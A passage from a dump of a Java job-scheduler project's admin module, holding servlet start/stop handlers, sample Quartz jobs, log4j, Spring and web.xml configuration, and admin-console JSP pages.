JSON.parse(serverDataStr);\r\n                serverData.put(\"cloverServerStatus\", \"1\");\r\n                serverData.put(\"cloverServerTS\", DateUtil.currentDateTime());\r\n            } else {\r\n                serverData = new BasicDBObject();\r\n                serverData.put(\"cloverServerStatus\", \"1\");\r\n                serverData.put(\"cloverServerTS\", DateUtil.currentDateTime());\r\n            }\r\n            ZKUtil.setPath(curatorFramework, CommonConstants.ZK_ROOT_PATH + \"/monitor/server/\" + IpUtil.getLocalIP(),\r\n                    serverData.toString(), CreateMode.EPHEMERAL);\r\n            ModuleSchedulerServer.getInstance().startup();\r\n            return \"1\";\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"CloverServletHandle-->>handleStartupCloverServer() error,\", e);\r\n            return \"-1\";\r\n        }\r\n    }\r\n\r\n    private String handleStopCloverServer() {\r\n        try {\r\n            if (!curatorFramework.isStarted()) curatorFramework.start();\r\n            String serverDataStr = ZKUtil.getData(curatorFramework, CommonConstants.ZK_ROOT_PATH + \"/monitor/server/\" +\r\n                    IpUtil.getLocalIP());\r\n            BasicDBObject serverData;\r\n            if (!StringUtil.isEmpty(serverDataStr)) {\r\n                serverData = (BasicDBObject) JSON.parse(serverDataStr);\r\n                serverData.put(\"cloverServerStatus\", \"0\");\r\n                serverData.put(\"cloverServerTS\", DateUtil.currentDateTime());\r\n            } else {\r\n                serverData = new BasicDBObject();\r\n                serverData.put(\"cloverServerStatus\", \"0\");\r\n                serverData.put(\"cloverServerTS\", DateUtil.currentDateTime());\r\n            }\r\n            ZKUtil.setPath(curatorFramework, CommonConstants.ZK_ROOT_PATH + \"/monitor/server/\" + IpUtil.getLocalIP(),\r\n                    serverData.toString(), CreateMode.EPHEMERAL);\r\n            ModuleSchedulerServer.getInstance().stop();\r\n            ZeroMQPull.INSTANCE.stop(IpUtil.getLocalIP(),CommonConstants.ZMQ_SERVER_PORT);\r\n            return \"1\";\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"CloverServletHandle-->>handleStopCloverServer() error,\", e);\r\n            return \"-1\";\r\n        }\r\n    }\r\n\r\n    private String handleStartupServerHeartBeat() {\r\n        try {\r\n            if (!curatorFramework.isStarted()) curatorFramework.start();\r\n            String serverDataStr = ZKUtil.getData(curatorFramework, CommonConstants.ZK_ROOT_PATH + \"/monitor/server/\" +\r\n                    IpUtil.getLocalIP());\r\n            BasicDBObject serverData;\r\n            if (!StringUtil.isEmpty(serverDataStr)) {\r\n                serverData = (BasicDBObject) JSON.parse(serverDataStr);\r\n                serverData.put(\"serverHeartBeatStatus\", \"1\");\r\n                serverData.put(\"serverHeartBeatTS\", DateUtil.currentDateTime());\r\n            } else {\r\n                serverData = new BasicDBObject();\r\n                serverData.put(\"serverHeartBeatStatus\", \"1\");\r\n                serverData.put(\"serverHeartBeatTS\", DateUtil.currentDateTime());\r\n            }\r\n            ZKUtil.setPath(curatorFramework, CommonConstants.ZK_ROOT_PATH + \"/monitor/server/\" + IpUtil.getLocalIP(),\r\n                    serverData.toString(), CreateMode.EPHEMERAL);\r\n            ServerHeartBeat.INSTNACE.startup();\r\n            return \"1\";\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"CloverServletHandle-->>startupMonitorHeartBeat() error,\", e);\r\n            return \"-1\";\r\n        }\r\n    }\r\n\r\n    private String handleStopServerHeartBeat() {\r\n        try {\r\n            if (!curatorFramework.isStarted()) curatorFramework.start();\r\n            String serverDataStr = ZKUtil.getData(curatorFramework, CommonConstants.ZK_ROOT_PATH + \"/monitor/server/\" +\r\n                    IpUtil.getLocalIP());\r\n            BasicDBObject serverData;\r\n            if (!StringUtil.isEmpty(serverDataStr)) {\r\n                serverData = (BasicDBObject) JSON.parse(serverDataStr);\r\n                serverData.put(\"serverHeartBeatStatus\", \"0\");\r\n                serverData.put(\"serverHeartBeatTS\", DateUtil.currentDateTime());\r\n            } else {\r\n                serverData = new BasicDBObject();\r\n                serverData.put(\"serverHeartBeatStatus\", \"0\");\r\n                serverData.put(\"serverHeartBeatTS\", DateUtil.currentDateTime());\r\n            }\r\n            ZKUtil.setPath(curatorFramework, CommonConstants.ZK_ROOT_PATH + \"/monitor/server/\" + IpUtil.getLocalIP(),\r\n                    serverData.toString(), CreateMode.EPHEMERAL);\r\n            ServerHeartBeat.INSTNACE.stop();\r\n            return \"1\";\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"CloverServletHandle-->>startupMonitorHeartBeat() error,\", e);\r\n            return \"-1\";\r\n        }\r\n    }\r\n\r\n    private String handleStartupMonitorHeartBeat() {\r\n        try {\r\n            if (!curatorFramework.isStarted()) curatorFramework.start();\r\n            String serverDataStr = ZKUtil.getData(curatorFramework, CommonConstants.ZK_ROOT_PATH + \"/monitor/server/\" +\r\n                    IpUtil.getLocalIP());\r\n            BasicDBObject serverData;\r\n            if (!StringUtil.isEmpty(serverDataStr)) {\r\n                serverData = (BasicDBObject) JSON.parse(serverDataStr);\r\n                serverData.put(\"monitorHeartBeatStatus\", \"1\");\r\n                serverData.put(\"monitorHeartBeatTS\", DateUtil.currentDateTime());\r\n            } else {\r\n                serverData = new BasicDBObject();\r\n                serverData.put(\"monitorHeartBeatStatus\", \"1\");\r\n                serverData.put(\"monitorHeartBeatTS\", DateUtil.currentDateTime());\r\n            }\r\n            ZKUtil.setPath(curatorFramework, CommonConstants.ZK_ROOT_PATH + \"/monitor/server/\" + IpUtil.getLocalIP(),\r\n                    serverData.toString(), CreateMode.EPHEMERAL);\r\n            MonitorHeartBeat.INSTNACE.startup();\r\n            return \"1\";\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"CloverServletHandle-->>startupMonitorHeartBeat() error,\", e);\r\n            return \"-1\";\r\n        }\r\n    }\r\n\r\n    private String handleStopMonitorHeartBeat() {\r\n        try {\r\n            if (!curatorFramework.isStarted()) curatorFramework.start();\r\n            String serverDataStr = ZKUtil.getData(curatorFramework, CommonConstants.ZK_ROOT_PATH + \"/monitor/server/\" +\r\n                    IpUtil.getLocalIP());\r\n            BasicDBObject serverData;\r\n            if (!StringUtil.isEmpty(serverDataStr)) {\r\n                serverData = (BasicDBObject) JSON.parse(serverDataStr);\r\n                serverData.put(\"monitorHeartBeatStatus\", \"0\");\r\n                serverData.put(\"monitorHeartBeatTS\", DateUtil.currentDateTime());\r\n            } else {\r\n                serverData = new BasicDBObject();\r\n                serverData.put(\"monitorHeartBeatStatus\", \"0\");\r\n                serverData.put(\"monitorHeartBeatTS\", DateUtil.currentDateTime());\r\n            }\r\n            ZKUtil.setPath(curatorFramework, CommonConstants.ZK_ROOT_PATH + \"/monitor/server/\" + IpUtil.getLocalIP(),\r\n                    serverData.toString(), CreateMode.EPHEMERAL);\r\n            MonitorHeartBeat.INSTNACE.stop();\r\n            return \"1\";\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"CloverServletHandle-->>startupMonitorHeartBeat() error,\", e);\r\n            return \"-1\";\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/java/com/gome/testclover/spring/RemoteCronJobWithSpringAnnotation.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.bg.clover.client.job.RemoteJob;\r\nimport com.gome.clover.common.annotation.CloverJobAnnotation;\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.springframework.stereotype.Component;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Log4j ConfigListener\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/25\r\n * Time: 10:55\r\n */\r\n@Component\r\n@CloverJobAnnotation(jobGroup = \"RemoteJobWithSpringAnnotationGroup\",jobName = \"RemoteJobWithSpringAnnotationName\",\r\njobType = ClientJob.JobType.REMOTE,executeType = ClientJob.ExecuteType.ADD,cronExpression=\"0/10 * * * * ?\")\r\npublic class RemoteCronJobWithSpringAnnotation extends RemoteJob {\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\tSystem.err.println(\"RemoteJobWithSpringAnnotation--->>>executeJob(JobExecutionContext) @\"+ DateUtil.currentDateTime());\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/java/com/gome/testclover/spring/RemoteFixedDateJobWithSpring.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.bg.clover.client.job.RemoteJob;\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport org.quartz.JobExecutionContext;\r\n\r\npublic class RemoteFixedDateJobWithSpring extends RemoteJob {\r\n\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\tSystem.err.println(\"RemoteFixedDateJobWithSpring--->>>executeJob(JobExecutionContext) @\"+ DateUtil.currentDateTime());\r\n\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/java/com/gome/testclover/spring/RemoteFixedDateJobWithSpringAnnotation.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.bg.clover.client.job.RemoteJob;\r\nimport com.gome.clover.common.annotation.CloverJobAnnotation;\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport org.quartz.JobExecutionContext;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Log4j ConfigListener\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/25\r\n * Time: 10:55\r\n */\r\n//@Component\r\n@CloverJobAnnotation(jobGroup = \"RemoteJobWithSpringAnnotationGroup\",jobName = \"RemoteJobWithSpringAnnotationName\",\r\njobType = ClientJob.JobType.REMOTE,executeType = ClientJob.ExecuteType.ADD,startTime=\"2014-12-12 12:12:12\")\r\npublic class RemoteFixedDateJobWithSpringAnnotation extends RemoteJob {\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\tSystem.err.println(\"RemoteJobWithSpringAnnotation--->>>executeJob(JobExecutionContext) @\"+ DateUtil.currentDateTime());\r\n\t}\r\n}\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/java/com/gome/testclover/spring/RemoteJobWithSpring.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.bg.clover.client.job.RemoteJob;\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport org.quartz.JobExecutionContext;\r\n\r\npublic class RemoteJobWithSpring extends RemoteJob {\r\n\r\n\t@Override\r\n\tpublic void executeJob(JobExecutionContext arg0) {\r\n\t\tSystem.err.println(\"RemoteJobWithSpring--->>>executeJob(JobExecutionContext) @\"+ DateUtil.currentDateTime());\r\n\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/java/com/gome/testclover/spring/TestProperties.java",
    "content": "package com.gome.testclover.spring;\r\n\r\nimport com.gome.clover.common.tools.PropertiesUtil;\r\n\r\nimport java.util.Properties;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2015/1/7\r\n * Time: 16:49\r\n */\r\npublic class TestProperties {\r\n    public static void main(String[] args) {\r\n        Properties properties = PropertiesUtil.loadProperties(\"conf/config.properties\");\r\n        String cloverServerStatus = (String) properties.get(\"cloverServerStatus\");\r\n        System.err.println(\"\"+cloverServerStatus);\r\n        properties.setProperty(\"cloverServerStatus\",\"1\");\r\n        PropertiesUtil.writePropertiesFile(\"conf/config.properties\",properties);\r\n        properties = PropertiesUtil.loadProperties(\"conf/config.properties\");\r\n        System.err.println(\"\"+properties.get(\"cloverServerStatus\"));\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/resources/bak_log4j.properties",
    "content": "#将ibatis log4j运行级别调到DEBUG可以在控制台打印出ibatis运行的sql语句\r\nlog4j.rootLogger=debug,stdout,logfile\r\n### 把日志信息输出到控制台 ###\r\nlog4j.appender.stdout=org.apache.log4j.ConsoleAppender\r\n#log4j.appender.stdout.Target=System.err\r\nlog4j.appender.stdout.layout=org.apache.log4j.SimpleLayout\r\n### 把日志信息输出到文件：jbit.log ###\r\nlog4j.appender.logfile=org.apache.log4j.FileAppender\r\nlog4j.appender.logfile.File=/export/home/tomcat/logs/clover.log\r\nlog4j.appender.logfile.layout=org.apache.log4j.PatternLayout\r\nlog4j.appender.logfile.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} %F %p %m%n\r\n\r\n###显示SQL语句部分\r\nlog4j.logger.com.ibatis=DEBUG\r\nlog4j.logger.com.ibatis.common.jdbc.SimpleDataSource=DEBUG\r\nlog4j.logger.com.ibatis.common.jdbc.ScriptRunner=DEBUG\r\nlog4j.logger.com.ibatis.sqlmap.engine.impl.SqlMapClientDelegate=DEBUG\r\nlog4j.logger.java.sql.Connection=DEBUG\r\nlog4j.logger.java.sql.Statement=DEBUG\r\nlog4j.logger.java.sql.PreparedStatement=DEBUG"
  },
  {
    "path": "clover/clover-admin/src/main/resources/conf/config.properties",
    "content": "cloverServerStatus=0\r\ncloverServerTS\r\nserverHeartBeatStatus=0\r\nserverHeartBeatTS\r\nmonitorHeartBeatStatus=0\r\nmonitorHeartBeatTS"
  },
  {
    "path": "clover/clover-admin/src/main/resources/log4j.xml",
    "content": "<?xml version='1.0' encoding='UTF-8' ?>\r\n<!DOCTYPE log4j:configuration SYSTEM \"log4j.dtd\">\r\n<log4j:configuration xmlns:log4j=\"http://jakarta.apache.org/log4j/\"\r\n                     xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n                     xsi:schemaLocation=\"http://jakarta.apache.org/log4j/\r\n                        http://jakarta.apache.org/log4j/ \">\r\n    <appender name=\"CONSOLE\" class=\"org.apache.log4j.ConsoleAppender\">\r\n        <layout class=\"org.apache.log4j.PatternLayout\">\r\n            <param name=\"ConversionPattern\" value=\"[%5p] [%d{yyyy-MM-dd HH:mm:ss SSS}] [%t] (%F:%L) %m%n\"/>\r\n        </layout>\r\n    </appender>\r\n\r\n    <appender name=\"FILE\" class=\"org.apache.log4j.DailyRollingFileAppender\">\r\n        <param name=\"Encoding\" value=\"UTF-8\"/>\r\n        <param name=\"File\" value=\"/data/logs/clover/clover.log\"/>\r\n        <!-- 日志路径，根据实际情况修改 -->\r\n        <layout class=\"org.apache.log4j.PatternLayout\">\r\n            <param name=\"ConversionPattern\" value=\"[%5p] [%d{yyyy-MM-dd HH:mm:ss SSS}] [%t] (%F:%L) %m%n\"/>\r\n        </layout>\r\n    </appender>\r\n\r\n    <category name=\"com.gome\" additivity=\"false\">  <!-- 自定义的日志分类，请根据实际情况调整 -->\r\n        <priority value=\"INFO\"/>\r\n        <!-- 根据实际情况修改日志级别，一般线上是INFO以上 -->\r\n        <appender-ref ref=\"CONSOLE\"/>\r\n        <!-- 该appender需要在上线时删除，以免输出重复的日志到catalina.out文件 -->\r\n        <appender-ref ref=\"FILE\"/>\r\n    </category>\r\n\r\n\r\n    <root>\r\n        <priority value=\"INFO\"/>\r\n        <!-- 根据实际情况修改日志级别，一般线上是INFO以上 -->\r\n        <appender-ref ref=\"CONSOLE\"/>\r\n        <!-- 该appender需要在上线时删除，以免输出重复的日志到catalina.out文件 -->\r\n        <appender-ref ref=\"FILE\"/>\r\n    </root>\r\n</log4j:configuration>"
  },
  {
    "path": "clover/clover-admin/src/main/resources/spring/spring-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:cloverjob=\"http://www.gome.com.cn/schema/cloverjob\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd\n         http://www.gome.com.cn/schema/cloverjob http:/www.gome.com.cn/schema/cloverjob/cloverjob.xsd\">\n\n    <!--<context:component-scan base-package=\"com.gome.testclover.spring\"/>-->\n    <cloverjob:config token=\"6fb8535d703f2492704aefc212b7cd41\" systemId=\"testClover\"\n                      jobClassName=\" com.gome.testclover.spring.RemoteJobWithSpring , com.gome.testclover.spring.RemoteCronJobWithSpringAnnotation\"/>\n\n    <cloverjob:job id=\"com.gome.testclover.spring.RemoteJobWithSpring\" jobGroup=\"RemoteJobWithSpringGroup\"\n                   jobName=\"RemoteJobWithSpringName\" jobType=\"REMOTE\" executeType=\"ADD\" cronExpression=\"0/10 * * * * ?\" />\n\n  <!--  <cloverjob:job id=\"com.gome.testclover.spring.RemoteFixedDateJobWithSpring\" jobGroup=\"RemoteFixedDateJobWithSpringGroup\"\n                   jobName=\"RemoteFixedDateJobWithSpringName\" jobType=\"REMOTE\" executeType=\"ADD\" startTime=\"2014-12-12 12:12:12\"/>-->\n\n</beans>"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<web-app xmlns=\"http://java.sun.com/xml/ns/javaee\"\r\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n         xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee\r\n\t\t  http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd\"\r\n         version=\"2.5\">\r\n\r\n    <filter>\r\n        <filter-name>encodingFilter</filter-name>\r\n        <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>\r\n        <init-param>\r\n            <param-name>encoding</param-name>\r\n            <param-value>UTF-8</param-value>\r\n        </init-param>\r\n        <init-param>\r\n            <param-name>forceEncoding</param-name>\r\n            <param-value>true</param-value>\r\n        </init-param>\r\n    </filter>\r\n\r\n    <filter-mapping>\r\n        <filter-name>encodingFilter</filter-name>\r\n        <url-pattern>/*</url-pattern>\r\n    </filter-mapping>\r\n    <context-param>\r\n        <param-name>log4jConfigLocation</param-name>\r\n        <param-value>/WEB-INF/classes/log4j.xml</param-value>\r\n    </context-param>\r\n  <!-- <context-param>\r\n        <param-name>contextConfigLocation</param-name>\r\n        <param-value>classpath:spring/spring-config.xml</param-value>\r\n    </context-param>\r\n\r\n    <listener>\r\n        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>\r\n    </listener>-->\r\n    <!-- 加载log4j配置文件 -->\r\n    <listener>\r\n        <listener-class>com.gome.clover.listener.Log4jConfigListener</listener-class>\r\n    </listener>\r\n    <servlet>\r\n        <servlet-name>cloverServletHandle</servlet-name>\r\n        <servlet-class>com.gome.clover.servlet.CloverServletHandle</servlet-class>\r\n        <load-on-startup>0</load-on-startup>\r\n    </servlet>\r\n\r\n   <servlet-mapping>\r\n        <servlet-name>cloverServletHandle</servlet-name>\r\n        <url-pattern>/servlet/cloverServletHandle.do</url-pattern>\r\n    </servlet-mapping>\r\n   <!-- <servlet>\r\n         <servlet-name>Scheduler_ServerInitial</servlet-name>\r\n         <servlet-class>com.gome.clover.server.module.SchedulerServerInitial</servlet-class>\r\n         <load-on-startup>1</load-on-startup>\r\n     </servlet>\r\n     <servlet-mapping>\r\n         <servlet-name>Scheduler_ServerInitial</servlet-name>\r\n         <url-pattern>/Scheduler_ServerInitial/</url-pattern>\r\n     </servlet-mapping>-->\r\n<!--\r\n    <servlet>\r\n        <servlet-name>SchedulerClientInitial</servlet-name>\r\n        <servlet-class>com.gome.clover.server.module.SchedulerClientInitial</servlet-class>\r\n        <init-param>\r\n            <param-name>jobClassStr</param-name>\r\n            <param-value>java.lang.ArrayList</param-value>\r\n        </init-param>\r\n        <init-param>\r\n            <param-name>isRegisterToZK</param-name>\r\n            <param-value>true</param-value>\r\n        </init-param>\r\n        <init-param>\r\n            <param-name>isStartupMQ</param-name>\r\n            <param-value>true</param-value>\r\n        </init-param>\r\n        <init-param>\r\n            <param-name>token</param-name>\r\n            <param-value>6fb8535d703f2492704aefc212b7cd41</param-value>\r\n        </init-param>\r\n        <load-on-startup>1</load-on-startup>\r\n    </servlet>\r\n    <servlet-mapping>\r\n        <servlet-name>SchedulerClientInitial</servlet-name>\r\n        <url-pattern>/SchedulerClientInitial/</url-pattern>\r\n    </servlet-mapping>-->\r\n\r\n    <!--<init-param>\r\n        <param-name>isRegisterToZK</param-name>\r\n        <param-value>false</param-value>\r\n    </init-param>\r\n    <init-param>\r\n        <param-name>isStartupMQ</param-name>\r\n        <param-value>false</param-value>\r\n    </init-param>\r\n    <init-param>\r\n        <param-name>isReloadJobFromDB</param-name>\r\n        <param-value>false</param-value>\r\n    </init-param>-->\r\n</web-app>\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/common/head.jsp",
    "content": "  <%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\r\n\tpageEncoding=\"UTF-8\"%>\r\n  <%\r\n      String path = request.getContextPath();\r\n      String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path;\r\n  %>\r\n  <head>\r\n    <title>clover manager system</title>\r\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\r\n    <meta http-equiv=\"pragma\" content=\"no-cache\">\r\n    <meta http-equiv=\"cache-control\" content=\"no-cache\">\r\n    <meta http-equiv=\"expires\" content=\"0\">\r\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"<%=basePath%>/css/bootstrap.min.css\" />\r\n    <link href=\"<%=basePath%>/css/bootstrap-responsive.min.css\" rel=\"stylesheet\" />\r\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"<%=basePath%>/css/style.css\" />\r\n    <!--[if lt IE 9]>\r\n      <script type=\"text/javascript\" src=\"<%=basePath%>/js/html5.js\"></script>\r\n    <![endif]-->\r\n    <script type=\"text/javascript\" src=\"<%=basePath%>/js/jquery-1.7.1.min.js\"></script>\r\n    <script type=\"text/javascript\" src=\"<%=basePath%>/js/bootstrap.min.js\"></script>\r\n    <script type=\"text/javascript\" src=\"<%=basePath%>/js/jquery.validate.js\"></script>\r\n    <script type=\"text/javascript\" src=\"<%=basePath%>/js/bootstrap-tooltip.js\"></script>\r\n    <script type=\"text/javascript\" src=\"<%=basePath%>/js/bootstrap-popover.js\"></script>\r\n  </head>"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/common/nav.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\r\n         pageEncoding=\"UTF-8\" %>\r\n<%\r\n    String path = request.getContextPath();\r\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path;\r\n%>\r\n<div class=\"navbar navbar-fixed-top\">\r\n    <div class=\"navbar-inner\">\r\n        <div class=\"container-fluid\"><a class=\"btn btn-navbar\"\r\n                                        data-toggle=\"collapse\" data-target=\".nav-collapse\"> <span\r\n                class=\"icon-bar\"></span> <span class=\"icon-bar\"></span> <span\r\n                class=\"icon-bar\"></span> </a> <a class=\"brand\" href=\"<%=basePath%>/index.jsp\">clover manager system</a>\r\n\r\n            <div class=\"nav-collapse\">\r\n                <ul class=\"nav navbar-nav\">\r\n                    <li><a href=\"<%=basePath%>/zkList.jsp\">zkmgr</a></li>\r\n                    <li><a href=\"<%=basePath%>/jobList.jsp\">jobmgr</a></li>\r\n                    <li><a href=\"<%=basePath%>/contactList.jsp\">contactmgr</a></li>\r\n                    <li><a href=\"<%=basePath%>/logList.jsp\">logmgr</a></li>\r\n                    <li><a href=\"<%=basePath%>/monitorList.jsp\">monitor</a></li>\r\n                   <%-- <li class=\"dropdown active\">\r\n                        <a href=\"\"\r\n                           class=\"dropdown-toggle\" data-toggle=\"dropdown\">monitor<b class=\"caret\"></b></a>\r\n                        <ul class=\"dropdown-menu\">\r\n                            <li><a href=\"servlet/cloverServletHandle.do?action=startupMonitorHeartBeat\">startupMonitorHeartBeat</a></li>\r\n                            <li><a href=\"\">stopMonitorHeartBeat</a></li>\r\n                        </ul>\r\n                    </li>--%>\r\n                </ul>\r\n            </div>\r\n        </div>\r\n    </div>\r\n    </div>\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/contactList.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\r\n\tpageEncoding=\"UTF-8\"%>\r\n<%@ page import=\"com.gome.clover.common.mongodb.DBTableInfo\" %>\r\n<%@ page import=\"com.gome.clover.common.mongodb.MongoDBUtil\" %>\r\n<%@ page import=\"com.gome.clover.common.tools.StringUtil\" %>\r\n<%@ page import=\"com.mongodb.BasicDBObject\" %>\r\n<%@ page import=\"com.mongodb.DBCursor\" %>\r\n<%@ page import=\"com.mongodb.DBObject\" %>\r\n<%\r\n\tString path = request.getContextPath();\r\n\tString basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\r\n\r\n\tString qSystemId = request.getParameter(\"qSystemId\");\r\n\tString qJobKey = request.getParameter(\"qJobKey\");\r\n\tString qIp = request.getParameter(\"qIp\");\r\n\tString qExecMethod = request.getParameter(\"qExecMethod\");\r\n\tDBObject condition = new BasicDBObject();\r\n\tif (!StringUtil.isEmpty(qSystemId)) condition.put(DBTableInfo.COL_SYSTEM_ID, qSystemId);\r\n\tif (!StringUtil.isEmpty(qJobKey)) condition.put(DBTableInfo.COL_JOB_KEY, qJobKey);\r\n\tif (!StringUtil.isEmpty(qIp)) condition.put(DBTableInfo.COL_IP, qIp);\r\n\tif (!StringUtil.isEmpty(qExecMethod)) condition.put(DBTableInfo.COL_EXEC_METHOD, qExecMethod);\r\n\tDBCursor dbCursor  = MongoDBUtil.INSTANCE.findByCondition(condition,DBTableInfo.TBL_CLOVER_CONTACT);\r\n%>\r\n<!DOCTYPE html>\r\n<html>\r\n <jsp:include page=\"/common/head.jsp\"/>\r\n  <body>\r\n \t<jsp:include page=\"/common/nav.jsp\"/>\r\n\t<div class=\"container-fluid\">\r\n\t\t<table class=\"table table-bordered\">\r\n\t\t\t<tbody>\r\n\t\t\t<form action=\"<%=basePath%>contactList.jsp\" method=\"post\">\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>System Id:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input  type=\"text\" name=\"qSystemId\" placeholder=\"System Id\" value=\"<%=null!=qSystemId?qSystemId:\"\"%>\">\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<th>ip:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input  type=\"text\" name=\"qIp\" placeholder=\"ip\" value=\"<%=null!=qIp?qIp:\"\"%>\">\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<th>Job Key:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input  type=\"text\" name=\"qJobKey\" placeholder=\"Job Key\" value=\"<%=null!=qJobKey?qJobKey:\"\"%>\">\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<th>Exec Method:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t<input  type=\"text\" 